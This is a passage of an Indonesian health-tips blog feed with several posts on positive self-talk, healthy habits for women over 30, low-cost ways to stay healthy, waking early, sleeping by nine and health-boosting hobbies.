height="640" src="https://4.bp.blogspot.com/-DutdYYjLTaE/Vug5P7Zk2BI/AAAAAAAAAGE/2MSWBcwr-yYBi5lNLzMmLAqo-Cm_VpegQ/s640/tak-perlu-sempurna.jpg" width="554" /></a></div><br />Hidup selalu tak seindah yang kita bayangkan. Itulah salah satu kata yang sering di ucapkan oleh orang lain kepada kita. Harapan untuk dapat hidup dengan sempurna seperti jarang sakit, hidup berkelimpahan harta dan tidak mengalami berbagai masalah yang berat selalu menjadi impian semua orang. Namun faktanya, selalu ada saja dua hal yang mengiringi hidup tersebut seperti ada suka-duka, ada sakit-sehat, ada kaya-miskin. Mencoba melihat hidup kedalam cara pandang berbeda akan mampu membuat hidup lebih sehat, tidak mudah stres dan selalu kaya. Lalu, bagaimana kata "aku sempurna" bisa menjadi salah satu solusinya...???,</div><div style="text-align: justify;"><br />Faktanya, manusia yang hidup akan selalu mengalami berbagai masalah yang mengiringinya. Jangan mengira, bahwa orang yang sehat fisik atau kaya harta tidak memiliki masalah dalam hidupnya. Cobalah pergi kerumah sakit, maka andapun akan menemukan banyak orang sakit dan tidak memandang kaya atau miskin. Atau cobalah bertanya pada orang kaya, apakah mereka selalu hidup enak tanpa masalah. "Aku Sempurna" merupakan kalimat terbaik yang dapat kita gunakan untuk mengarungi hidup di dunia ini.<br /><blockquote class="tr_bq">Berikut ini beberapa manfaat ajaib kalimat aku sempurna yang dapat kami jabarkan :</blockquote><a href="https://www.blogger.com/null" name="more"></a></div><div style="text-align: justify;"><ul><li>Saat Menghadapi Masalah Berat. Cobalah mengatakan pada diri sendiri, aku sempurna. Karena setiap masalah selalu dialami oleh setiap orang dan bahkan masalah yang kita hadapi akan dianggap ringan oleh orang lain (yang memiliki masalah yang lebih berat). Jadi, andapun tidak akan mengalami stres yang dapat menganggu kesehatan tubuh anda.&nbsp;</li><li>Saat Mengalami Sakit Baik Itu Ringan Maupun Berat. Cobalah mengatakan pada diri sendiri juga, aku sempurna. Yakinkan pada diri sendiri bahwa sakit pada tubuh anda akan segera sembuh dan mulailah bersyukur bahwa masih banyak orang lain yang mengalami sakit yang lebih berat yang mengancam jiwanya daripada anda. </li><li>Saat Mengalami Hidup Sendiri Dan Kesepian. Cobalah mengatakan pada diri sendri, aku sempurna. Mungkin tak pernah anda bayangkan, kebanyakan masyarakat perkotaan selalu diselimuti rasa stres terhadap suara bising dan mendambakan lingkungan yang tenang dan sunyi. Nikmatilah hidup anda, dan andapun akan selalu bahagia dan sehat.</li><li>Saat Mengalami Kesedihan Yang Begitu Hebat. Cobalah mengatakan pada diri sendiri, aku sempurna. Ditinggalkan oleh orang yang kita cintai tentu akan menguncang jiwa anda. Jika tidak segera ditemukan solusinya, maka akan berdampak pada menurunnya kesehatan tubuh anda. Dalam hal ini, mulai mengikhlaskankannya dengan sepenuh hati, karena setiap perjumpaan, pasti ada perpisahan.</li></ul>Semoga artikel tips kesehatan yang mengulas aku sempurna, kata terbaik untuk meningkatkan kesehatan tubuh dapat bermanfaat besar bagi pembaca...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-53733121954783907732015-11-09T20:05:00.000-08:002016-03-15T09:53:25.253-07:00Tips 7 Cara Sehat Bagi Perempuan Yang Sudah Menginjak Usia 30 Tahun<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjujL9Zvu_19rfbZygjfcdL8F36Gk5ZBB_ZaygAY2eQGwhV0WaCIh613m39FMtKZcd6OJJ4BLycVo74_4_c5iV-BeWLYfcDK6JjCURJmy5ieX1pZ94Xq6lg2LdQns4PYtmGdvrzeoqYlLc/s1600/tips+sehat+wanita+injak+30+tahun.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjujL9Zvu_19rfbZygjfcdL8F36Gk5ZBB_ZaygAY2eQGwhV0WaCIh613m39FMtKZcd6OJJ4BLycVo74_4_c5iV-BeWLYfcDK6JjCURJmy5ieX1pZ94Xq6lg2LdQns4PYtmGdvrzeoqYlLc/s640/tips+sehat+wanita+injak+30+tahun.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br />Kesehatan tubuh harusnya menjadi perhatian serius semua orang termasuk wanita. Wanita memiliki segudang aktivitas yang seakan tidak pernah habisnya. Apalagi jika sudah menikah, maka rasa capek maupun lelah sudah menjadi hal yang biasa terjadi dan wajar bagi sebagian wanita. Terkait dengan menjaga kesehatan tubuhnya, para wanita sepertinya kurang memperhatikannya, walaupun usia mereka sudah menginjak 30 tahun. Berbagai tips sehat sebenarnya dapat dengan mudah dipraktekkan, bagi wanita remaja maupun mereka yang sudah berusia 30 tahun. Lalu, apa saja tipsnya...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Pada dasarnya, semua orang baik itu pria dan wanita akan mengalami berbagai masalah kesehatan saat usianya semakin menua. Meskipun faktanya begitu, gaya hidup sehat yang selalu dilakukan mampu mengurangi atau bahkan menghilangkan berbagai gangguan kesehatan seperti penyakit jantung, diabetes, hipertensi dan penyakit degeratif lainnya. Artikel kali ini saya(penulis) dedikasikan untuk seluruh wanita Indonesia agar mulai sadar menjaga kesehatan tubuhnya.<br /><blockquote class="tr_bq">Berikut ini 7 tips sehat bagi wanita yang menginjak usia 30 tahun : </blockquote></div><div style="text-align: justify;"><ol><li>Mulailah Berolahraga. Berolahraga merupakan salah satu gaya hidup sehat yang sangat baik dilakukan bagi para wanita. Karena faktanya, ketika usia wanita mulai bertambah atau menginjak usia 30 tahun, kegiatan fisik seperti berolahraga sudah mulai di tinggalkan.</li><li>Tidur Cukup Dan Teratur Setiap Malamnya. Tidur cukup dan teratur merupakan salah kewajiban yang harus dilakukan oleh semua wanita. Untuk itulah, usahakan untuk tidur&nbsp; malam maksimal 7 - 8 jam setiap malamnya.&nbsp;</li><li>Kurangi Melihat Televisi. Untuk itulah, batasilah menonton televisi dan mulai berinteraksi dengan orang-orang yang dicintai. Fakta lainnya, terlalu lama duduk di depan televisi juga buruk bagi kesehatan tubuh anda. </li><li>Perbanyak Konsumsi Buah Dan Sayuran Hijau. Wanita dewasa sangat disarankan untuk mulai menambah mencukupi kebutuhan vitamin dan mineral yang dibutuhkan oleh tubuh. Semuanya itu dapat anda peroleh jika mulai mempersering membiasakan mengkonsumsi buah-buahan dan sayuran hijau.</li><li>Atur Waktu Untuk Bertamasya Ke Tempat Menyenangkan.&nbsp; Berbagai rutinitas wanita yang tiada henti tentu dapat meningkatkan stres pada pikirannya. Mulai merencanakan waktu untuk pergi berekreasi ke tempat-tempat indah yang masih asri dengan pemandangan alam yang menawan, pastilah dapat menenangkan jiwa anda.&nbsp;</li><li>Batasi Penggunaan Gadget Anda. Handphone atau ponsel maupun laptop adalah barang berharga bagi semua orang termasuk wanita di era modern ini. Namun, terlalu banyak menghabiskan waktu dengan gadget-gadget tersebut tentulah beresiko bagi kesehatan anda seperti menganggu waktu tidur dan terbatasnya waktu berinteraksi dengan keluarga secara langsung. </li><li>Rutin Cek Kesehatan Tubuh. Mulailah untuk berinteraksi dengan dokter untuk mengetahui kesehatan tubuh anda. Sehingga mampu mencegah berbagai masalah kesehatan yang sudah di beritahukan oleh dokter secara dini pula.</li></ol>Pada dasarnya, menjaga kesehatan tubuh sebenarnya sangat mudah dilakukan di sela-sela aktivitas anda sehari-hari. Semoga tips kesehatan yang mengulas tips sehat bagi para yang&nbsp; menginjak usia 30 tahun dapat menginspirasi semua wanita di seluruh pelosok dunia khususnya di Indonesia ini.&nbsp;</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-67218983424027907462015-11-06T00:22:00.000-08:002016-03-15T10:04:32.350-07:00Tips 7 Cara Tetap Sehat Tanpa Menguras Isi Kantong<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWNc-TXnYgvPMLQBSdJfIrqeJv3DikgN_8EKKl09z1YhWwpBh-REmhzoy47_CQMxV0TUufK9oco_p41_rAUYLPyTumKEBgeY9dVZcENp2vWmKpgVvTDcqP7kVgr_lBCqrL4bFGpoDnIc8/s1600/tips+sehat+tanpa+kuras+dompet.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWNc-TXnYgvPMLQBSdJfIrqeJv3DikgN_8EKKl09z1YhWwpBh-REmhzoy47_CQMxV0TUufK9oco_p41_rAUYLPyTumKEBgeY9dVZcENp2vWmKpgVvTDcqP7kVgr_lBCqrL4bFGpoDnIc8/s640/tips+sehat+tanpa+kuras+dompet.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br />Sehat tubuh dan jiwa merupakan dua hal utama yang harus dicapai dalam kehidupan manusia modern sekarang ini. Ada pula yang mengistilahkan bahwa "Sehat Itu Mahal". Ini dikarenakan, jika kita telah sakit, maka ada saja biaya yang harus dikeluarkan untuk membiayai pengobatannya. Selain itu, ada berbagai jenis makanan sehat yang tidak terjangkau pada kondisi keuangan kita. Lalu, adakah tips tetap sehat tanpa harus menguras isi dompet tersebut...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Hidup sehat mungkin sudah terdengar di telinga setiap orang tanpa pernah terhitung lagi jumlahnya. Namun, sudahkah anda mulai mempraktikkan hidup sehat dalam kehindupan sehari-hari...???. Saya (penulis) sedikit mengkritik gaya hidup manusia modern sekarang ini yang lebih memetingkan memburu materi (uang), dibandingkan memburu atau menginginkan kesehatan tubuhnya. Padahal, ada berbagai tips tetap sehat tanpa harus menguras isi dompet yang mereka miliki...<br /><blockquote class="tr_bq">Berikut ini 7 tips tetap sehat tanpa harus menguras isi dompet : </blockquote></div><div style="text-align: justify;"><ol><li>Berolahraga. Ini merupakan aktivitas sehat tanpa harus mengeluarkan biaya sedikitpun. Anda dapat melakukannya di awal aktivitas bekerja (pagi hari) maupuan di akhir aktivitas ( malam hari) seperti berjalan kaki atau berlari santai.</li><li>Menghirup Udara Segar Dan Sehat. Udara sehat dan segar sangat baik untuk kesehatan tubuh khususnya paru-paru anda. Saat berolahraga di pagi hari, anda dapat sepuasnya menghirup udara segar dan sehat secara lebih dalam.</li><li>Membaca Buku. Melalui buku, ada dapat mengetahui berbagai hal berdasarkan buku yang sedang anda baca. Selain itu, membaca buku sambil duduk santai dapat menimbulkan ketenangan hari dan menurunkan tingkat stres yang dimiliki.</li><li>Melihat Acara Komedi. Apakah acara favorit anda di telivisi...???. Acara atau program di telivisi yang bisa membuat anda tertawa lepas juga sangat baik untuk kesehatan anda. Rasa stres dan capek yang membelenggu dapat menurun, jika terbiasa melihat acara komedi.</li><li>Duduk Santai. Aktivitas atau pekerjaan yang begitu padat tentulah menghampiri anda setiap hari. Oleh karena itulah, mulailah duduk santai selama kurang lebih satu jam di tempat-tempat yang anda sukai sambil menikmati suasana sekitarnya.</li><li>Tidur Teratur. Aktivitas tidur merupakan salah satu gaya hidup sehat yang sangat dianjurkan. Tidur dapat mengistirahatkan tubuh dan pikiran anda. Sudahkan anda tidur teratur dengan tidur dan bangun tepat pada waktunya selama kurang lebih 7 -8 jam setiap malam...???.</li><li>Berjemur Di Pagi Hari. Sinar matahari dipagi hari merupakan sumber vitamin D yang sangat baik untuk kesehatan tulang anda. Usahakan agar tubuh anda terkena paparan sinar matahari dipagi hari dalam beberapa saat menjelang aktivitas pekerjaan yang anda lakukan.</li></ol><br />Sebenarnya ada banyak sekali cara sehat yang dapat dilakukan tanpa harus mengeluarkan biaya yang mahal. Sehat merupakan harta yang ternilai harganya. Semoga tips kesehatan yang mengulas 7 tips sehat tanpa harus menguras isi dompet dapat bermanfaat bagi pembaca.</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-74472201079304529622015-05-28T16:35:00.000-07:002016-03-13T13:55:00.543-07:00Tips 7 Langkah Membiasakan Diri Hidup Sehat Setiap Hari<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjewdW-OrdR1cAT2ViksXjZE3ah62IPEIaFLvW8nI7RB6RuC-fAbSPVV5Hl_f11ZrXCzZvkL14GKyttnKPh0Mj-VQNAeGFN7mC4RPitEzBDEtixszVhzXer64iTPElV6-SECn4iOWK9tts/s1600/langkah+nyata+biasakan+hidup+sehat.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="416" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjewdW-OrdR1cAT2ViksXjZE3ah62IPEIaFLvW8nI7RB6RuC-fAbSPVV5Hl_f11ZrXCzZvkL14GKyttnKPh0Mj-VQNAeGFN7mC4RPitEzBDEtixszVhzXer64iTPElV6-SECn4iOWK9tts/s640/langkah+nyata+biasakan+hidup+sehat.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br />ini merupakan langkah awal dan nyata untuk memperoleh kesehatan tubuh yang kita inginkan. Sudah tak terhitung lagi berbagai saran dan tips kesehatan yang sudah kita dengar dan baca dari berbagai berbagai sumber. Meskipun begitu, tidak sedikit dari kita yang menganggapnya angin lalu atau tak memperdulikannya. Sebenarnya yang kita butuhkan ialah sebuah tindakan nyata untuk memulainya. Lalu, apa saja langkah nyata untuk membiasakan diri hidup sehat tersebut...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Sobat tips kesehatan. Kesehatan tubuh menjadi sebuah hal yang teramat penting untuk menjalankan aktivitas, pekerjaan maupun beribadah kepada Tuhan YME agar lebih sempurna setiap hari. Maka dari itulah, kita sangat dianjurkan untuk bergaya hidup sehat setiap waktu. Tak cukup dengan tahu caranya hidup sehat, kita harus mempraktekkannya dalam kehidupan sehari-hari<br /><blockquote class="tr_bq">Berikut ini 7 langkah nyata membiasakan diri untuk hidup sehat setiap hari</blockquote></div><div style="text-align: justify;"><ol><li>Berdiri Lebih Lama. Faktanya, terlalu banyak aktivitas yang kita lakukan dengan hanya duduk dan jarang sekali berdiri. Padahal terlalu lama duduk dapat membahayakan kesehatan tubuh anda. Untuk itulah, kurangi waktu duduk dengan melakukan aktivitas dengan berdiri.</li><li>Persiapkan Peralatan Olahraga. Berolahraga menjadi salah satu hal tersulit yang dilakukan oleh manusia modern sekarang ini. Mulailah untuk mempersiapkan semua peralatan olahraga (seperti sepatu, pakaian dan celana olahraga) pada malam harinya. Agar dapat digunakan untuk berolahraga di pagi harinya.</li><li>Rapikan Tempat Tidur. Istirahat atau tidur malam menjadi hal terpenting dalam menjaga kesehatan tubuh. Buatlah kondisi tempat tidur lebih rapi dan nyaman dengan selalu membiasakan diri membersihkan dan merapikannya sebelum merebahkan tubuh anda.</li><li>Pergi Ke Pasar. Faktanya, kita dapat menemukan dan membeli berbagai sayuran hijau dan buah-buahan yang terjangkau sesuai dengan pendapatan kita setiap bulan. Karena salah satu kunci hidup sehat yaitu rutin mengkonsumsi aneka sayuran hijau serta buah-buahan yang mengandung sumber gizi bagi tubuh.</li><li>Tebar Senyuman. Selain dapat meningkatkan kesehatan tubuh, tersenyum merupakan salah satu ibadah dan efektif meningkatkan mood atau suasana hati di manapun anda berada. Jadi, sudahkah anda tersenyum hari ini...???.</li><li>Lakukan Bersih-Bersih. Jadikan waktu libur kerja menjadi ajang kerja bakti membersihkan rumah bagi seluruh anggota keluarga. Karena lingkungan atau rumah yang bersih dapat menjadikan penghuninya semakin sehat dan nyaman.</li><li>Persering Aktivitas Fisik. Ubah semua kebiasaan buruk di hari ini seperti duduk terlalu lama, begadang, maupun gaya hidup tidak sehat lainnya. Dalam hal ini, perbanyak langkah kaki, bersepeda di sore hari maupun bergabung dengan komunitas yang dapat mengolahragakan tubuh anda.</li></ol>Semoga tips kesehatan yang mengulas beberapa langkah nyata untuk membiasakan hidup sehat dapat menambah wawasan dan menginspirasi para pembaca. Akhir kata, salam sehat selalu</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-49044724020609630542015-05-26T16:22:00.000-07:002016-03-13T13:55:30.924-07:00Tips 7 Alasan Kuat Untuk Bangun Pagi Setiap Hari<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDoO83zuiWUxH5ISpUEDeCSKW-CZAuBe9AN0qaJ1k0vS2UlP_2ib80728sGDVsbjsRgO3iz9r_4DeYmqcBov8uwxRulKHryRoKt_GhGJ5ZjJWtSrO_pRbdxC2UNsbL6kbr3wgq72CKZKk/s1600/alasan+kuat+bangun+pagi+sehat.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="420" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDoO83zuiWUxH5ISpUEDeCSKW-CZAuBe9AN0qaJ1k0vS2UlP_2ib80728sGDVsbjsRgO3iz9r_4DeYmqcBov8uwxRulKHryRoKt_GhGJ5ZjJWtSrO_pRbdxC2UNsbL6kbr3wgq72CKZKk/s640/alasan+kuat+bangun+pagi+sehat.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br />Bangun Pagi menjadi salah satu faktor yang membantu meningkatkan kesehatan tubuh anda. Ada juga yang mengistilahkan dengan ungkapan "Ayo bangun pagi, Biar rezekinya tidak di patok ayam". Bagi sebagian orang, bangun pagi merupakan rutinitas yang begitu sulit untuk dilakukan setiap hari. Padahal jauh di lubuk hati yang terdalam, mereka berkeinginan kuat untuk bangun di pagi hari. Ada berbagai alasan kuat, mengapa kita harus bangun pagi. Lalu, apa saja alasan kuat untuk bangun pagi setiap hari tersebut...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Sobat tips kesehatan. Pagi hari merupakan waktu yang tepat untuk memulai aktivitas dan rutinitas yang akan dijalankan untuk kesuksesan hidup ini. Ini dikarenakan, tenaga yang dimiliki tubuh masih dilevel tertinggi serta fikiran masih begitu jernih. Untuk itulah, kita sangat disarankan untuk berusaha membiasakan diri bangun di pagi hari. Selain itu, bangun dipagi hari berdampak besar pada peningkatan kesehatan tubuh anda...<br /><blockquote class="tr_bq">Berikut ini 7 alasan kuat untuk bangun pagi setiap hari</blockquote></div><div style="text-align: justify;"><ol><li>Merasakan Udara Yang Begitu Segar. Faktanya, polusi udara menjadi hal yang tidak dapat terhindarkan di zaman modern ini. Padahal udara yang bersih sangat dibutuhkan seluruh anggota tubuh khususnya paru-paru. Mulailah bangun pagi dan rasakan udara yang masih begitu segar dan sejuk.</li><li>Memiliki Waktu Untuk Berolahraga. Membiasakan diri dengan mengolahragakan tubuh selama 30 menit setiap pagi memiliki dampak besar bagi kesehatan tubuh dihari ini dan di masa mendatang. (Bagi anda yang muslim, sholat subuh juga termasuk mengolahragakan tubuh sekaligus mendapatkan pahala yang besar ). </li><li>Tidak Melewatkan Sarapan Pagi. Sarapan pagi menjadi salah satu aktivitas terpenting di pagi hari. Dengan rutin sarapan pagi yang menyehatkan, maka kegiatan maupun pekerjaan yang anda kerjakan di sepanjang hari dapat berjalan lancar sesuai harapan dan keinginan anda.</li><li>Menenangkan Pikiran Dan Perasaan Anda. Suara ayam yang berkokok serta burung yang berkicau di pagi hari sangat indah untuk didengarkan yang mana dapat membantu menenangkan pikiran dan perasaan sekaligus menurunkan tingkat stres atas berbagai masalah hidup yang anda alami.</li><li>&nbsp;Memiliki Waktu Untuk Mempersiapkan Diri. Berbagai jadwal kegiatan hari ini dapat langsung ditulis atau direncanakan di waktu pagi, di saat fikiran masih jernih. Sehingga andapun dapat mengagendakan dan melakukan hal-hal penting yang tidak boleh di lewatkan pada hari ini.</li><li>Melihat Keajaiban-Keajaiban Kecil. Berbagai keajaiban kecil hanya dapat di lihat dan disaksikan di pagi hari seperti melihat suami berangkat ke kantor, melihat istri mempersiapkan hidangan pagi maupun melihat dan mempersiapkan buah hati untuk berangkat ke sekolah.</li><li>Menikmati Yang Hangat-Hangat. Pagi hari merupakan waktu yang tepat untuk menikmati sesuatu yang hangat-hangat seperti teh hangat, kopi hangat serta sarapan yang masih hangat. Selain itu, tidak melewatkan meminum air putih di pagi hari juga membantu meningkatkan kesehatan sistem pencernaan di tubuh anda.</li></ol>Semoga tips kesehatan yang mengulas berbagai alasan kuat untuk bangun pagi setiap hari dapat bermanfaat dan menginspirasi para pembaca untuk mulai bangun pagi. Akhir kata, salam pagi selalu</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-87078322862932403102015-05-14T17:55:00.000-07:002016-03-13T13:55:51.819-07:00Tips 7 Tips Agar Tidur Jam Sembilan Malam Setiap Hari<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrDoTX2X6I0mm7wI5-g57sSqrNV1OGt3jFlkMGBVGkRibWOurL_7p7l5iae4bj_0jToB82lzi9SSw5E_mFdMqXskz_2cKkXug4yWXuRnwEORaOZoWOgNg56mZJAwrJ-vzmjE8JvuB-LEI/s1600/tips+tidur+jam+sembilan+malam+sehat.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrDoTX2X6I0mm7wI5-g57sSqrNV1OGt3jFlkMGBVGkRibWOurL_7p7l5iae4bj_0jToB82lzi9SSw5E_mFdMqXskz_2cKkXug4yWXuRnwEORaOZoWOgNg56mZJAwrJ-vzmjE8JvuB-LEI/s640/tips+tidur+jam+sembilan+malam+sehat.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br />Tidur Malam merupakan salah satu aktivitas wajib yang harus menjadi kebiasaan kita setiap hari. Dengan tidur malam yang cukup, maka dapat dipastikan semua aktivitas dan pekerjaan di pagi hari dapat dikerjakan dengan penuh semangat membara. Faktanya, gaya hidup modern telah merusak dan membuat jadwal tidur malam menjadi berantakan. Ini akan menjadi masalah serius bagi kesehatan tubuh dalam jangka pendek maupun jangka panjang. Lalu, adakah tips agar tidur lebih awal atau jam sembilan malam setiap harinya...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Sobat tips kesehatan. Tidak sedikit dari kita yang memiliki masalah dengan kurangnya jam tidur malam tersebut. Keasyikkan begadang dengan teman, stres karena pekerjaan serta asyik bermain gadget (handphone dan laptop) menjadi beberapa penyebab kurangnya jam tidur malam. Kurang tidur di malam hari juga berdampak pada kesehatan seperti memperbesar resiko penyakit jantung, hipertensi, stroke serta diabetes. Oleh karena itulah, diperlukan langkah nyata untuk memperbaiki jadwal tidur malam anda.<br /><blockquote class="tr_bq">Berikut ini 7 tips agar tidur jam sembilan malam setiap hari</blockquote></div><div style="text-align: justify;"><ol><li>Rilekskan. Dalam hal ini, anda harus merilekskan tubuh dan pikiran dengan menghentikan semua aktivitas maupun pekerjaan yang sedang dilakukan setengah jam sebelum memejamkan mata anda. Hal ini penting, karena dengan pikiran yang tenang dan tubuh yang rileks, aktivitas tidur malam jadi lebih mudah.</li><li>Matikan Gadget. Sebaiknya juga mulai menonaktifkan atau mematikan gadget (smartphone) yang anda miliki sebelum berangkat tidur. Kecenderungan untuk terus memainkan gadget kesayangan akan menjadikan rutinitas tidur malam menjadi terganggu.</li><li>Jauhkan Gadget. Jika anda tidak mau mematikan gadget (smartphone), maka sebaiknya menjauhkannya dari jangkauan tangan anda. Anda bisa meletakkanya di meja atau kursi yang jauh dari kasur tempat anda membaringkan tubuh untuk beristirahat di malam hari.</li><li>Matikan Televisi. Berbagai acara televisi sering melupakan kita dari jam tidur malam yang sudah direncanakan hingga rela begadang sampai larut malam. Maka, alangkah baiknya anda segera mematikan televisi dan mulai beranjak ke kamar tidur. </li><li>Rapikan. Sebelum merebahkan tubuh di kasur, anda juga sebaiknya merapikan dulu tempat tidur dengan mengibaskan sprei, selimut serta bantal. Untuk membuang atau membersihkan debu halus yang menempel di tempat-tempat tersebut.</li><li>Matikan Lampu. Mematikan lampu kamar tidur selain mampu meningkatkan kesehatan tubuh juga dapat membuat suasana kamar lebih tenang dan nyaman. Jika anda tidak suka suasana yang gelap gulita, gunakanlah lampu kamar yang redup atau tidak terlalu terang.</li><li>Penutup Mata. Jika anda sulit memejamkan mata, maka tidak ada salahnya menggunakan penutup mata. Hal ini bertujuan untuk mengirimkan rangsangan pada otak, bahwa tubuh dan pikiran sedang di istirahatkan dari berbagai aktivitas dan pekerjaan...</li></ol>Semoga tips kesehatan yang mengulas beberapa tips agar tidur jam sembilan setiap malam dapat bermanfaat bagi pembaca dan pengunjung yang budiman...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-7425786814048073292015-05-10T18:11:00.000-07:002016-03-13T13:57:00.845-07:00Tips 7 Hobi Unik Untuk Meningkatkan Kesehatan Kita<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmkrrmGaSOJi8MusEOljPLG_CmuvO1UU0n-jszsogIlPrXRt4SLLyThXcOXlf23MbQgMCmz9YCtzP7XQYNuQknmvHK_08U545jrVZsBVWVep8WKsqS1gEcBs6I1gU0pqswNFlCcANvSg8/s1600/hobi+unik+tingkatkan+kesehatan+tubuh+pembaca.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmkrrmGaSOJi8MusEOljPLG_CmuvO1UU0n-jszsogIlPrXRt4SLLyThXcOXlf23MbQgMCmz9YCtzP7XQYNuQknmvHK_08U545jrVZsBVWVep8WKsqS1gEcBs6I1gU0pqswNFlCcANvSg8/s640/hobi+unik+tingkatkan+kesehatan+tubuh+pembaca.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br />Hobi merupakan jenis kegiatan atau aktivitas yang sangat disenangi oleh semua orang di berbagai jenjang umur. Waktu seakan secepat busur panah yang melesat ke udara, saat kita sedang melakukan hobi yang menjadi kesukaan kita. Anda tentu masih ingat hobi yang sering dilakukan ketika masa kecil dahulu seperti hobi bersepeda bersama teman-teman maupun yang lainnya. Ternyata, ada beberapa jenis hobi yang mampu meningkatkan kesehatan tubuh. Lalu, apa saja hobi unik yang dapat meningkatkan kesehatan tubuh tersebut...???</div><div style="text-align: justify;"><br /><a href="https://www.blogger.com/null" name="more"></a></div><div style="text-align: justify;">Sobat tips kesehatan. Seiring umur yang terus bertambah ke tingkat yang lebih dewasa, berbagai jenis hobi kesukaan kita, mulai tidak kita perdulikan lagi. Mungkin beberapa alasannya yaitu karena sibuk dengan pekerjaan yang menumpuk atau sibuk mencari materi (uang).&nbsp; Mulai meluangkan waktu untuk menyalurkan hobi menjadi salah satu hal yang paling dianjurkan. Kenapa...???. Karena beberapa jenis hobi terbukti dapat menyehatkan tubuh anda...<br /><blockquote class="tr_bq">Berikut ini 7 hobi unik yang dapat meningkatkan kesehatan tubuh anda</blockquote></div><div style="text-align: justify;"><ol><li>Berpetualang. Tak sedikit dari kita yang sangat menyukai hobi berpetulang. Dengan berpetualang, kita akan menjumpai tempat-tempat indah yang belum kita lihat sebelumnya. Selain itu, dengan sering berpetualang dapat menghilangkan stres pikiran serta membuat kita lebih aktif bergerak.</li><li>Memancing. Inilah salah satu hobi yang saya (penulis ) lakukan semasa kecil dahulu. Hobi memancing ternyata selain mengasyikkan juga bermanfaat untuk melatih kesabaran dan emosi seseorang. Sehingga dapat melahirkan pribadi yang sabar dan tidak cepat pemarah. Karena sering marah tentu tidak baik bagi kesehatan jantung anda.</li><li>Membaca. Tak banyak dari kita yang terlahir dengan hobi membaca khususnya membaca buku. Tahukah anda, hobi membaca buku selain menambah wawasan dan mengasyikkan, ternyata dapat menangkal stres, solusi bagi yang sulit tidur, menyehatkan otak dan menghindarkan dari penyakit Alzheimer.</li><li>Berkebun. Aktivitas berkebun juga menjadi salah satu hobi unik yang berdampak positif bagi kesehatan tubuh anda. Berbagai aktivitas berkebun yang kita lakukan ternyata memiliki dampak luar biasa bagi kesehatan seperti menyehatkan jantung, meningkatkan sistem imun tubuh, solusi stres serta menjauhkan dari hipertensi.</li><li>Bersepeda. Kenapa bersepeda merupakah hobi unik...???. Ketika sepeda motor dan mobil mulai menjadi prioritas, maka kegiatan bersepeda maupun hobi bersepeda mulai di tinggalkan. Padahal hobi bersepeda sangat baik untuk kesehatan tulang, meningkatkan kesehatan organ jantung serta meningkatkan kekuatan otot dan sendi anda.</li><li>Berolahraga. Hobi unik selanjutkan yaitu hobi untuk melakukan aktivitas berolahraga. Karena berdasarkan faktanya, tak sedikit dari kita yang mulai enggan atau malas berolahraga pagi. Berbagai keuntungan berolahraga pagi yaitu meningkatkan kesehatan tubuh, menenangkan pikiran serta oksigen atau udara yang masih bersih.</li><li>Menulis. Hobi unik yang terakhir yaitu hobi menulis. Inilah salah satu hobi yang tak banyak orang geluti dan sedang saya (penulis) jalani saat 